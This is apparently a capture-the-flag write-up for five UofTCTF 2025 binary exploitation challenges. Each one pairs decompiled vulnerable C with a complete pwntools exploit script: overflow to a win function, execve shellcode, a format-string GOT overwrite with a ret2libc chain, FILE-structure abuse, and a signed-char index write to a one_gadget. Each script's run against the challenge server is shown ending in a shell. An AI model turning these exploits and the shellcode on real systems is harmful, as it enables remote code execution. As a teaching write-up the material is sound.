UofTCTF 2025
Baby pwn
Here’s a baby pwn challenge for you to try out. Can you get the flag?
nc 34.162.142.123 5000
Author: atom
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void secret()
{
printf("Congratulations! Here is your flag: ");
char *argv[] = {"/bin/cat", "flag.txt", NULL};
char *envp[] = {NULL};
execve("/bin/cat", argv, envp);
}
void vulnerable_function()
{
char buffer[64];
printf("Enter some text: ");
fgets(buffer, 128, stdin);
printf("You entered: %s\n", buffer);
}
int main()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Welcome to the Baby Pwn challenge!\n");
printf("Address of secret: %p\n", secret);
vulnerable_function();
printf("Goodbye!\n");
return 0;
}
Vulnerability
buffer
is allocated 64 bytes butfgets
allows reading upto 128 bytes, hence buffer overflow
1
2
3
4
5
6
7
8
9
10
➜ baby_pwn checksec baby-pwn
[*] '/home/vulnx/ctf/uoft/pwn/baby_pwn/baby-pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
since we have no PIE we can simply overwrite the return address with secret
and profit
1
2
➜ baby_pwn nm baby-pwn | grep secret
0000000000401166 T secret
1
2
3
4
5
➜ baby_pwn echo "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaa\x66\x11\x40\x00\x00\x00\x00\x00" | nc 34.162.142.123 5000
Welcome to the Baby Pwn challenge!
Address of secret: 0x401166
Enter some text: You entered: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaaf@
Congratulations! Here is your flag: uoftctf{buff3r_0v3rfl0w5_4r3_51mp13_1f_y0u_kn0w_h0w_t0_d0_1t}
Flag
uoftctf{buff3r_0v3rfl0w5_4r3_51mp13_1f_y0u_kn0w_h0w_t0_d0_1t}
Baby pwn2
Hehe, now there’s no secret function to call. Can you still get the flag?
nc 34.162.119.16 5000
Author: atom
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void vulnerable_function()
{
char buffer[64];
printf("Stack address leak: %p\n", buffer);
printf("Enter some text: ");
fgets(buffer, 128, stdin);
}
int main()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Welcome to the baby pwn 2 challenge!\n");
vulnerable_function();
printf("Goodbye!\n");
return 0;
}
Vulnerability
- Same buffer overflow like last time but here we don’t have
secret
to print the flag - one possibility could be to leak libc and perform a ret2libc attack
- but since stack is executable we can do a more powerful ret2shellcode attack
- when returning from
vulnerable_function
RAX
holds a pointer to our user-input buffer. If we give shellcode as input and overwrite RIP with ajmp rax
gadget, we can profit.
I used this simple shellcode:
1
2
3
4
5
6
7
8
9
10
11
12
global _start:
jmp down
back:
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
down:
call back
db "/bin/sh", 0
1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
from pwn import *
exe = ELF("./baby-pwn-2_patched")
context.binary = exe
context.terminal = [ 'tmux', 'splitw', '-h' ]
io = remote("34.162.119.16", 5000)
io.sendline(flat({
0: b'\xeb\x0e\x5f\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00',
72: 0x00000000004010ce
}))
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
➜ baby_pwn2 python solve.py
[+] Opening connection to 34.162.119.16 on port 5000: Done
[*] Switching to interactive mode
Welcome to the baby pwn 2 challenge!
Stack address leak: 0x7ffc2202e7b0
Enter some text: $
$ ls
baby-pwn-2
baby-pwn-2.c
flag.txt
run
$ cat flag.txt
uoftctf{sh3llc0d3_1s_pr3tty_c00l}
Flag
uoftctf{sh3llc0d3_1s_pr3tty_c00l}
Echo
Yet another echo service. However, the service keeps printing stack smashing detected for some reason, can you help me figure it out?
nc 34.29.214.123 5000
Author: White
This is where the real fun began
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void vuln(void)
{
long in_FS_OFFSET;
char local_11;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
read(0,&local_11,0x100);
printf(&local_11);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
1
2
3
4
5
6
7
8
9
10
➜ echo checksec chall
[*] '/home/vulnx/ctf/uoft/pwn/echo/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Vulnerability
- We have a 1-byte buffer and allowed read of upto 0x100 bytes, so obvious buffer overflow.
- But we have have stack canary so we can’t simply overwrite the return address
- We do have format string vuln to obtain canary and libc leak. but that would also violate the 1-byte buffer limit and call
__stack_chk_fail
- We need to realise that smashing the stack is inevitable here so we need to figure out a way to make
__stack_chk_fail
restart the program instead of crashing - Since we have PIE enabled this time, we can do a 2 byte partial overwrite of the return address and make it point to GOT entry for
__stack_chk_fail
then use fmt str attack in the same payload to overwrite9th
arg (overwritten to__stack_chk_fail
) with 0xc0. - Why 0xc0? Because that would make
__stack_chk_fail
now point to_start
and it won’t crash our program. - Now everytime we smash the stack, we restart the program, essentially we got infinite fmt string vuln
- Now I choose to leak canary + libc and do a ret2libc attack
Here partial overwrite involes 1 nibble (or 4bits) bruteforce, this means there’s 1/16 chances of success, so we need to loop until we win
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
def stage_2(io):
io.sendline(b'%13$p-%31$p-')
io.recvuntil(b'0x')
libc_leak = int(io.recvuntil(b'-')[:-1].strip(), 16)
libc.address = libc_leak - 0x2a1ca
log.success(f'{hex(libc.address) = }')
canary = int(io.recvuntil(b'-')[:-1].strip(), 16)
log.info(f'{hex(canary) = }')
rop = ROP(libc)
rop.raw(rop.ret)
rop.system(next(libc.search(b'/bin/sh\x00')))
io.sendline(flat({
1: canary,
17: rop.chain()
}))
io.interactive()
exit(0)
# start here 👇
win = False
while win == False:
# io = process(exe.path)
io = remote("34.29.214.123", 5000)
io.send(flat({
0: b'hi%190d%9$hhn', # overwrite 0xc0 (=> _start)
17: b'\x18\xe0' # overwrite 0xe018 (=> __stack_chk_fail got entry)...1 nibble bruteforce
}))
io.recvuntil(b'hi')
try:
io.sendline(b'yo_wassup')
io.recvuntil(b'yo_wassup')
log.success('start stage-2')
stage_2(io)
win = True
except:
log.failure(b'exploit failed')
io.close()
io.wait_for_close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
➜ echo python solve.py
[+] Opening connection to 34.29.214.123 on port 5000: Done
[-] exploit failed
[*] Closed connection to 34.29.214.123 port 5000
[+] Opening connection to 34.29.214.123 on port 5000: Done
[-] exploit failed
...
[*] Closed connection to 34.29.214.123 port 5000
[+] Opening connection to 34.29.214.123 on port 5000: Done
[+] start stage-2
[+] hex(libc.address) = '0x795388f37000'
[*] hex(canary) = '0xa0f55faf8884b500'
[*] Loaded 111 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
\xfe\x7fa$
$ ls
chall
flag.txt
$ cat flag.txt
uoftctf{c4n4ry_15_u53l355_1f_607_15_wr174bl3}
Flag
uoftctf{c4n4ry_15_u53l355_1f_607_15_wr174bl3}
Book Editor
Easily write and edit your book with this new service.
nc 34.46.232.251 5000
Author: White
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void main(void)
{
bool bVar1;
int iVar2;
setup();
printf("How long will your book be: ");
__isoc99_scanf(&%ld,&bookSize);
book = malloc(bookSize);
printf("Contents of the book: ");
read(0,book,bookSize);
bVar1 = true;
do {
while( true ) {
while( true ) {
if (!bVar1) {
return;
}
menu();
iVar2 = getChoice();
if (iVar2 != 3) break;
bVar1 = false;
}
if (iVar2 < 4) break;
LAB_004014f9:
puts("That is not an option");
}
if (iVar2 == 1) {
editBook();
}
else {
if (iVar2 != 2) goto LAB_004014f9;
readBook();
}
} while( true );
}
1
2
3
4
5
6
void readBook(void)
{
printf("Here is your book: %s\n",book);
return;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void editBook(void)
{
int _;
long in_FS_OFFSET;
uint offset;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Where do you want to edit: ");
__isoc99_scanf(&%d,&offset);
do {
_ = getchar();
} while (_ != 10);
if (offset < bookSize) {
printf("What do you want to edit: ");
printf("%p",bookSize + -offset + -1);
read(0,(void *)(book + (ulong)offset),(bookSize + -offset) - 1);
}
else {
printf("Please dont edit ouside of the book.");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
1
2
3
4
5
6
7
8
9
10
➜ book checksec chall
[*] '/home/vulnx/ctf/uoft/pwn/book/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Vulnerability
- Improper error handling.
- Requesting
-1
size causesmalloc
to fail returning a NULL which gets stored inbook
without any checks. - Since we have no PIE, we can give any write-able binary address as the
offset
andeditBook
will write our input intobook + offset => 0 + address = address
- Thus we can give
book
’s address and make it point tostdout
and obtain a libc leak - Like always I want to do a ret2libc ROP chain attack.
- But for that I need a stack leak, I could overwrite
book
withenviron
from libc to obtain a stack leak. But then I cannot changebook
again, and stack will always be (very much) ahead ofenviron
pointer, so no offset will work, hence I ditched this idea. - Instead I choose to overwrite
book
with_IO_2_1_stdin_
, so that I can overwrite both_IO_2_1_stdin_
and_IO_2_1_stdout_
(since it lies reasonable ahead of stdin). - If I can overwrite these file structures, I can force
stdout
to leakenviron
for me, giving me a stack leak. - Then I can force
stdin
to write my input (ROP chain) into saved RIP address on the stack and profit!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
io = remote("34.46.232.251", 5000)
print('Overwriting book with stdout')
pause()
io.sendline(b'-1')
io.sendline(b'1')
io.sendline(str(0x404030).encode()) # book
io.sendline(p64(0x404010)) # stdout
print('Leaking libc')
pause()
io.sendline(b'2')
io.recvuntil(b'Here is your book: ')
libc_leak = u64(io.recv(6).ljust(8, b'\x00'))
log.info(f'{hex(libc_leak) = }')
libc.address = libc_leak - 0x2045c0
log.success(f'{hex(libc.address) = }')
print('Overwriting book with _IO_2_1_stdin_')
pause()
io.sendline(b'1')
io.sendline(b'32')
io.sendline(p64(libc.sym._IO_2_1_stdin_ - 8))
print('Overwriting _IO_2_1_stdout_ to force environ leak')
pause()
io.sendline(b'1')
io.sendline(str(8 + 0xce0).encode())
fp = FileStructure()
fp.write(libc.sym.environ, 0x100)
io.sendline(bytes(fp)[:0x30])
io.recvuntil(b'0xfffff221')
stack_leak = u64(io.recv(6).ljust(8, b'\x00'))
log.success(f'{hex(stack_leak) = }')
print('Overwriting _IO_2_1_stdin_ to force writing data to return address')
pause()
io.sendline(b'1')
io.sendline(str(8 + 0x38).encode())
io.send(p64(stack_leak-2464) + p64(stack_leak-2464+0x100))
print('Writing rop chain to return address')
pause()
rop = ROP(libc)
rop.raw(rop.ret)
rop.system(next(libc.search(b'/bin/sh\x00')))
io.sendline(rop.chain())
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
➜ book python solve.py
[+] Opening connection to 34.46.232.251 on port 5000: Done
Overwriting book with stdout
[*] Paused (press any to continue)
Leaking libc
[*] Paused (press any to continue)
[*] hex(libc_leak) = '0x78fe21c185c0'
[+] hex(libc.address) = '0x78fe21a14000'
Overwriting book with _IO_2_1_stdin_
[*] Paused (press any to continue)
Overwriting _IO_2_1_stdout_ to force environ leak
[*] Paused (press any to continue)
[+] hex(stack_leak) = '0x7ffcdb737aa8'
Overwriting _IO_2_1_stdin_ to force writing data to return address
[*] Paused (press any to continue)
Writing rop chain to return address
[*] Paused (press any to continue)
[*] Loaded 111 cached gadgets for './libc.so.6'
[*] Switching to interactive mode
1. Edit Book
2. Read Book
3. Exit
> Where do you want to edit: What do you want to edit: 0xfffffec91. Edit Book
2. Read Book
3. Exit
> $
$ ls
chall
flag.txt
$ cat flag.txt
uoftctf{4lw4y5_ch3ck_f0r_3rr0r5_4f73r_m4ll0c}
Flag
uoftctf{4lw4y5_ch3ck_f0r_3rr0r5_4f73r_m4ll0c}
Counting sort
Did you know that the best time complexity for a sorting algorithm is O(n). This is an example service that demonstrates this by sorting your characters.
nc 34.170.104.126 5000
Author: White
Best challenge!
1
2
3
4
5
6
7
void main(void)
{
setup();
sort();
return;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void sort(void)
{
long lVar1;
char *malloc_buffer;
ssize_t n;
byte *p;
long in_FS_OFFSET;
int i;
int j;
int k;
byte *ptr_n_of_occur;
byte map [256];
byte n_of_occur;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
map[0] = 0;
map[1] = 0;
map[2] = 0;
...
map[255] = 0;
malloc_buffer = (char *)malloc(0x200);
n = read(0,malloc_buffer,0x200);
for (i = 0; i < (int)n; i = i + 1) {
p = map + malloc_buffer[i];
*p = *p + 1;
}
free(malloc_buffer);
ptr_n_of_occur = map;
for (j = 0; j < 0x100; j = j + 1) {
n_of_occur = *ptr_n_of_occur;
for (k = 0; k < (int)(uint)n_of_occur; k = k + 1) {
putchar(j);
}
ptr_n_of_occur = ptr_n_of_occur + 1;
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
1
2
3
4
5
6
7
8
9
10
➜ sort checksec chall | wl-copy
[*] '/home/vulnx/ctf/uoft/pwn/sort/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
- The program stores our user input characters into a sort of map where the
i-th
index denotes the number of timeschr(i)
is repeated. - If we sequentially iterate the map, we will be alphabetically traversing the indexes. Hence the
O(n)
sort.
Vulnerability
char
is by default signed, which means after0x7f
any character becomes a negative index into the map. Thus we can provide a negative index and change the address of the map itself and move it ahead (with\xf1
)- So that any positive character like
\x18
would point to first byte of saved RIP. - If we keep spamming
\x18
we can increment the first byte from 0xbc to 0x1a5, which wraps into 0xa5 for byte-size constraints. - That makes the saved RIP now point to the start of main. Allowing us to restart the program when we return.
- But what did we gain?
- Since the map now points ahead of its actualy location, it will be leaking 256 bytes of data from that address, which in this case implied that we can leak the chall binary address, stack address, and a libc address.
- Surprisingly ret2libc is not what I did here 😅 because my payload cannot have duplicate characters, so
one_gadget
was the only candidate I could think of. - Now we enter
sort()
for the 2nd time, in this iteration, again I supply a negative index and move map ahead. Then I write theone_gadget
address intomain
’s saved RIP. - I also incremented saved RBP by 0x20 to make it point to NULL to satisfy
one_gadget
constraints.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
io = remote("34.170.104.126", 5000)
payload = b'\xf1'
payload += b'\x18' * (0xa0 + 5 - 0xbc + 0x100)
io.send(payload)
print('Leaking libc')
pause()
dump = b''
new_dump = b'lol'
while new_dump != b'':
new_dump = io.clean()
dump += new_dump
leak = b''
for i in range(256):
leak += (dump.count((i).to_bytes())).to_bytes()
exe_leak = u64(leak[0x18+0:0x18+8])
stack_leak = u64(leak[0x18+8:0x18+16])
libc_leak = u64(leak[0x18+16:0x18+24])
libc.address = libc_leak - 0x2a1ca
log.info(f'{hex(exe_leak) = }')
log.info(f'{hex(stack_leak) = }')
log.info(f'{hex(libc_leak) = }')
log.success(f'{hex(libc.address) = }')
# # 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# # constraints:
# # address rbp-0x50 is writable
# # rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# # [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
print('Writing one_gadget')
pause()
log.info(f'{hex(libc.address + 0xef52b) = }')
target = p64(libc.address + 0xef52b)[:3]
existing = p64(libc_leak)[:3]
payload = b'\xf1'
for i in range(3):
if target[i] > existing[i]:
payload += (0x28+i).to_bytes() * (target[i] - existing[i])
else:
payload += (0x28+i).to_bytes() * (target[i] - existing[i] + 0x100)
payload += b'\x20' * 0x20
io.send(payload)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜ sort python solve.py
[+] Opening connection to 34.170.104.126 on port 5000: Done
Leaking libc
[*] Paused (press any to continue)
[*] hex(exe_leak) = '0x5b0e69f1b4a5'
[*] hex(stack_leak) = '0x7ffcc578c1d0'
[*] hex(libc_leak) = '0x7e8be5edd1ca'
[+] hex(libc.address) = '0x7e8be5eb3000'
Writing one_gadget
[*] Paused (press any to continue)
[*] hex(libc.address + 0xef52b) = '0x7e8be5fa252b'
[*] Switching to interactive mode
$ ls
chall
flag.txt
$ cat flag.txt
uoftctf{r3m3mb3r_7h47_ch4r_15_516n3d_by_d3f4ul7}
Flag
uoftctf{r3m3mb3r_7h47_ch4r_15_516n3d_by_d3f4ul7}
Overall this was a very very fun CTF and I thoroughly enjoyed playing it, huge thanks of UofTCTF for organising it.